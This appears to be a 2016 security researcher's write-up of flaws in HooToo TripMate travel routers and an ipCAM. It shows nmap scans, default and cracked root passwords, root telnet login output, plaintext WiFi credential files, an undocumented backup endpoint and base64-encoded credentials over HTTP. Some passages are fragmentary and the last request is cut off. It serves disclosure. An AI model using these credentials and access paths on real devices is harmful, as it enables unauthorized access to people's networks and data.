i was initially interested in the HooToo TripMate Titan when someone on Twitter (thought it was @davepell, but can't find the tweet now) saying it was a great way to share battery/network/data from a single device.
that sounds cool - not just for the surface use cases: road trips, airplane flights, etc - but also because the features required meant the TripMate was a $39 low power, wifi enabled computer with it's own battery. <insertcheesyZuckerbergmisquotehere>
some of the issues are as common as XSS vulnerabilities, others as serious as passing credentials/settings in plaintext over HTTP and a universally reused root password.
* after testing the [rav-filehub](rav-filehub), found that calling an-api-method-not-exposed-by-the-ui would allow download of a ['backup'](http://10.10.10.254:81/sysfirm.csp?fname=sysbackupform&t=1467949779552). i haven't tried POSTing it back, but assume it would work.
while both TripMate Titan and TripMate are running the same version of firmware, and have the same services exposed, the web interfaces are very different.
despite the striking similarities between the underlying platforms, it appears they all rev firmware versions differently. currently, the latest TripMate Titan version is [2.000.068](http://www.hootoo.com/media/downloads/HooToo%20TM05-Support%20exFAT&HFS%20-%202.000.068.rar), whereas the TripMate is only up to [2.000.036](http://www.hootoo.com/media/downloads/fw-ban%20WAN%20access-%20HooToo-%20TM01-2.000.036.zip).
see [upgrades-are-hard](upgrades are hard) for a tale of firmware version changes while trying to test the most recent versions.
## TripMate Titan
name|value
----|-----
model|HT-TM05
firmware|2.000.022
features|WiFi bridge, NAS, battery
app|[http://10.10.10.254](http://10.10.10.254)
this was the first HooToo device i looked at, and most of the issues found on this device are shared across the rest of the products - the Elite and ipCAM being notable exceptions.
all of the non-HTTP issues started with a simple nmap of the device.
### nmap
```
PORT STATE SERVICE VERSION
23/tcp open telnet NASLite-SMB/Sveasoft Alchemy firmware telnetd
80/tcp open http lighttpd
81/tcp open http Web-Based Enterprise Management CIM serverOpenPegasus WBEM httpd
85/tcp open tcpwrapped
8200/tcp open trivnet1?
Service Info: Host: HT-TM05; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
couple of quick observations:
* running a telnet server?
* running 2 HTTP servers?
it turns out that both [http://10.10.10.254:80](http://10.10.10.254:80) and [http://10.10.10.254:81](http://10.10.10.254:81) are both serving the exact same content - but backed by different web servers (`lighttpd` and `OpenPegasus WBEM CIM`)
### easily guessable default passwords
realm|username|password|description
-----|--------|--------|------------
WiFi|n/a|`12345678`|this is changeable, but the option is buried
app|admin|`<empty>`|allows login to web app ([default](http://10.10.10.254))
login: can't chdir to home directory '/data/UsbDisk1/Volume1'
$ ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 406 Jan 1 00:02 /etc/passwd
-rw-r--r-- 1 root root 282 Jan 1 00:02 /etc/shadow
```
so.. they left `/etc/passwd` and `/etc/shadow` readable to anyone who can login - and the web app uses the same credential mechanism as telnet/underlying OS.
now that we've got it, 5 hours on a GCP v16 CPU instance, we find that the password behind `$1$yikWMdhq$cIUPc1dKQYHkkKkiVpM` is `20080826`.
and now, we can login to both the web app and telnetd as `root`:
```
$ telnet 10.10.10.254
Trying 10.10.10.254...
Connected to 10.10.10.254.
Escape character is '^]'.
HT-TM05 login: root
Password:
login: can't chdir to home directory '/root'
#
```
#### credential exposure - WiFi network and bridge
# TODO what are the perms on that file?
the contents of `/boot/tmp/etc/Wireless/RT2860/RT2860.dat` compromise:
* plaintext password for device SSID
* SSID of last/currently bridged WiFi network
* plaintext password for last/currently bridged WiFi network
```
# cat /boot/tmp/etc/Wireless/RT2860/RT2860.dat
...
SSID1=free candy
...
WPAPSK1=foobarbaz
...
ApCliSsid1=test-network
ApCliWPAPSK=password
```
#### data exposure - NAS
without really explaining it or documenting it, the TripMate assumes that the USB storage device you plugin will have a directory called `Share` in it's root, with `Music`, `Pictures` and `Videos` directories under that. if you don't, it will happily create them for you.
i put some content in the appropriate path, and when walking through the Music player, it sent me to `http://10.10.10.254/data/UsbDisk1/Volume1/Share/Music/Girl%20Talk%20-%20Feed%20The%20Animals/14%20Play%20Your%20Part%20%28Pt.%202%29.mp3`
working URLs:
*`http://10.10.10.254/data/UsbDisk1/Volume1/Share/` - not necessarily bad, just unexpected
*`http://10.10.10.254/data/UsbDisk1/Volume1/` - this is an implied vulnerability
*`http://10.10.10.254/data/` - another implied vulnerability.. could we link something into this directory and get browsable access that way?
* when no internet connection is available, all HTTP requests are blindly 301'd to [http://10.10.10.254/app/main.html](http://10.10.10.254/app/main.html)
net | [led_status](http://10.10.10.254/protocol.csp?fname=net&opt=led_status&function=get), [waninfo](http://10.10.10.254/protocol.csp?fname=net&opt=led_status&function=get)
despite the firmware upgrade.. going on the firmware, rather than uploading to tmpfs (as `free` shows ). after the upgrade, the SSID was changed to `TripMate-855C`, and unfortunately, the `telnet` hole was closed - and in it's place, a 404 behind:
* User Manager -> Guest
* Network Settings -> Hostname
* Network Settings -> WiFi & latency
* Network Settings -> DHCP Server
* Network Settings -> Internet
* Service Settings -> Samba Service
* Service Settings -> DLNA Service
* Service Settings -> Auto-jump Service
* System Settings -> Time Settings
* System Settings -> Firmware Upgrade
* System Settings -> Reset Settings
* Setup Wizard
so every option other than User Manager -> Admin.. on the web interface that's running on port 80. however, the interface that is running on port 81 gives us all of the options back - assuming you know it is there.
## TripMate Elite
### nmap
```
Starting Nmap 6.46 ( http://nmap.org ) at 2016-06-29 20:49 PDT
Nmap scan report for 10.10.10.254
Host is up (0.0096s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
80/tcp open http lighttpd
81/tcp open http Web-Based Enterprise Management CIM serverOpenPegasus WBEM httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
## TripMate Nano
### nmap
```
Starting Nmap 6.46 ( http://nmap.org ) at 2016-06-29 20:41 PDT
Nmap scan report for 10.10.10.254
Host is up (0.018s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
23/tcp open telnet NASLite-SMB/Sveasoft Alchemy firmware telnetd
80/tcp open http lighttpd
81/tcp open http Web-Based Enterprise Management CIM serverOpenPegasus WBEM httpd
85/tcp open tcpwrapped
Service Info: Host: TM02; OS: Linux; CPE: cpe:/o:linux:linux_kernel
features|IP camera with a surprisingly high level of configuration
app|[http://10.10.10.254](http://10.10.10.254)
while this device appears to be running a similar firmware/OS as the TripMate devices, and has similar services exposed, could not login via telnet with `root` or `admin`
the user specification page allows freeform username specification, tried to set `root`s password, but either failed, or was given a misleading error message from telnet.
the backup functionality here exposes a similar hole (configuration/files unrelated to user settings) as TripMate devices, but has a very different structure/content:
```
.
├── mnt
│ └── config
│ ├── exclude.lst
│ ├── ipcamera
│ │ ├── TZ
│ │ ├── adsl.conf
│ │ ├── bt656
│ │ │ ├── config_av.ini
│ │ │ ├── config_enc.ini
│ │ │ ├── config_md.ini
│ │ │ ├── config_mpmng.ini
│ │ │ └── config_od.ini
│ │ ├── conf_1080p
│ │ │ ├── config_cfgaccess.ini
│ │ │ ├── config_devm.ini
│ │ │ └── config_mpmng.ini
│ │ ├── conf_720p
│ │ │ ├── config_cfgaccess.ini
│ │ │ ├── config_devm.ini
│ │ │ └── config_mpmng.ini
│ │ ├── conf_960p
│ │ │ ├── config_cfgaccess.ini
│ │ │ ├── config_devm.ini
│ │ │ └── config_mpmng.ini
│ │ ├── conf_TrigOprt.ini
│ │ ├── conf_jsy
│ │ │ └── jsy.ini
│ │ ├── conf_tutk
│ │ │ └── tutk.ini
│ │ ├── config_alarmweb.ini
│ │ ├── config_button.ini
│ │ ├── config_capability.ini
│ │ ├── config_cd.ini
│ │ ├── config_cfgaccess.ini
│ │ ├── config_devm.ini
│ │ ├── config_electricity.ini
│ │ ├── config_emng.ini
│ │ ├── config_enc_workmode.ini
│ │ ├── config_ioalm.ini
│ │ ├── config_ircut.ini
│ │ ├── config_led.ini
│ │ ├── config_log.ini
│ │ ├── config_mail.ini
│ │ ├── config_maintenance.ini
│ │ ├── config_mtmng.ini
│ │ ├── config_mwalm.ini
│ │ ├── config_notify.ini
│ │ ├── config_ntp.ini
│ │ ├── config_osd.ini
│ │ ├── config_piclevel.ini
│ │ ├── config_playaudio.ini
│ │ ├── config_ptz.ini
│ │ ├── config_rec.ini
│ │ ├── config_recmng.ini
│ │ ├── config_rfidlist.ini
│ │ ├── config_server.ini
│ │ ├── config_snap_function.ini
│ │ ├── config_snap_mng.ini
│ │ ├── config_soundalm.ini
│ │ ├── config_sysalm.ini
│ │ ├── config_timer_mng.ini
│ │ ├── config_upnp.ini
│ │ ├── config_user.ini
│ │ ├── config_usergroup.ini
│ │ ├── ddns.conf
│ │ ├── ddns_enable.conf
│ │ ├── factory.conf
│ │ ├── fwup.conf
│ │ ├── hi_nvt_config
│ │ │ ├── audio_encoder_configuration.ini
│ │ │ ├── audio_source.ini
│ │ │ ├── audio_source_configuration.ini
│ │ │ ├── profile.ini
│ │ │ ├── ptz_configuration.ini
│ │ │ ├── scopes_list.ini
│ │ │ ├── video_encoder_configuration.ini
│ │ │ ├── video_source.ini
│ │ │ └── video_source_configuration.ini
│ │ ├── ipc1080p
│ │ │ ├── config_av.ini
│ │ │ ├── config_enc.ini
│ │ │ ├── config_md.ini
│ │ │ ├── config_mpmng.ini
│ │ │ └── config_od.ini
│ │ ├── ipc6000
│ │ │ ├── config_av.ini
│ │ │ ├── config_enc.ini
│ │ │ ├── config_md.ini
│ │ │ ├── config_mpmng.ini
│ │ │ └── config_od.ini
│ │ ├── ipcam_upnp.xml
│ │ ├── keypara.ini
│ │ ├── network
│ │ │ ├── interfaces.old
│ │ │ ├── netfaces
│ │ │ ├── resolv.conf
│ │ │ ├── setfixnet.sh
│ │ │ ├── wifi.conf
│ │ │ ├── wifidev.conf
│ │ │ ├── wpa_supp.conf
│ │ │ └── zcip.script
│ │ ├── onvif.ini
│ │ ├── p2p.conf
│ │ ├── p2p_stream.ini
│ │ ├── savetime.conf
│ │ └── webserver.conf
│ └── usr
│ ├── bin
│ │ └── ddnsrun -> /usr/sbin/ddns/ddnsrun.3322
│ ├── etc
│ │ └── sensor.conf
│ └── lib
│ ├── libSensor.so -> /usr/lib/libsns_ov9712a.so
│ └── libonvif.so -> /usr/lib/libonvif_def.so
└── tree
17 directories, 98 files
```
modified `exclude.lst` to try and pull in the right functionality:
```
NOT_config_devs.ini
NOT_config_net.ini
NOT_config_priv.ini
NOT_wifi.ini
NOT_ifattr
NOT_ddns_tvs.conf
```
and restored it back to the device:
```
the ipcam will be restore. Are you sure?
```
no new functionality was exposed via nmap and still couldn't log in over telnet, but a second backup confirmed that my 'settings' were restored correctly. time to find another avenue.
`/mnt/config/ipcamera/network/wifi.conf` contains the current WiFI SSID/password:
```
wifienable="1"
wifiessid=TEST-WIFI
wifikeytype=3
wifiwhichkey=0
wifikey="TEST-WIFI"
```
`/mnt/config/ipcamera/config_server.ini` looks has an interesting block:
```ini
;
;[mctp]
;port = 8001
;
;[devs]
;port = 8002
;
;[es]
;port = 8003
;
```
`/mnt/config/ipcamera/config_mtmng.ini` appears to be what we're looking for:
so 8 characters, final being `=`, likely padding giving us `YWRtaW4=`. a quick base64 decode shows that we're effectively passing passwords in the clear:
```
$ echo YWRtaW4= | base64 -dD
Jul 16 14:15:32 mba base64[75917] <Info>: Read 9 bytes.
Jul 16 14:15:32 mba base64[75917] <Info>: Decoded to 5 bytes.
Jul 16 14:15:32 mba base64[75917] <Info>: Wrote 5 bytes.
admin
```
```
POST /web/cgi-bin/hi3510/param.cgi HTTP/1.1
Host: 192.168.42.24
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko/20100101 Firefox/47.0
